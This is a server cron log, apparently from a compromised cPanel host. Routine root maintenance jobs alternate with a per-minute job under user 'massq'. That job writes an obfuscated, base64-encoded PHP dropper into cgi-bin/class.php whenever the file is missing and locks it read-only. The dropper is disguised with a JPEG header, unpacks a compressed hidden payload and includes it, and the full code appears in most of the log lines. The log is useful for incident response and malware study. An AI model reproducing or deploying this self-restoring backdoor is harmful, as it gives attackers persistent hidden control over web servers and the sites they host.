Sep 10 09:58:01 server CROND[27129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:59:01 server CROND[27499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 09:59:01 server CROND[27500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 09:59:01 server CROND[27501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:00:01 server CROND[27892]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:00:01 server CROND[27899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:00:01 server CROND[27897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:00:01 server CROND[27895]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 10:00:01 server CROND[27896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:00:01 server CROND[27898]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 10:00:01 server CROND[27902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:00:01 server CROND[27900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:00:01 server CROND[27901]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:00:01 server CROND[27894]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:01:01 server CROND[28741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:01:01 server CROND[28742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:01:01 server CROND[28743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:01:01 server CROND[28744]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 10:01:01 server run-parts(/etc/cron.hourly)[28744]: starting 0anacron
Sep 10 10:01:01 server run-parts(/etc/cron.hourly)[28764]: finished 0anacron
Sep 10 10:02:01 server CROND[29120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:02:01 server CROND[29122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:02:01 server CROND[29123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:03:01 server CROND[29591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:03:01 server CROND[29592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:03:01 server CROND[29593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:04:01 server CROND[29968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:04:01 server CROND[29969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:04:01 server CROND[29970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:05:01 server CROND[30403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:05:01 server CROND[30405]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:05:01 server CROND[30406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:05:01 server CROND[30410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:05:01 server CROND[30411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:05:01 server CROND[30408]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 10:05:01 server CROND[30407]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:05:01 server CROND[30412]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:06:01 server CROND[31229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:06:01 server CROND[31230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:06:01 server CROND[31231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:07:01 server CROND[31611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:07:01 server CROND[31612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:07:01 server CROND[31613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:08:01 server CROND[32069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:08:01 server CROND[32071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:08:01 server CROND[32070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:09:01 server CROND[32445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:09:01 server CROND[32446]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 10:09:01 server CROND[32447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:09:01 server CROND[32448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:10:01 server CROND[372]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
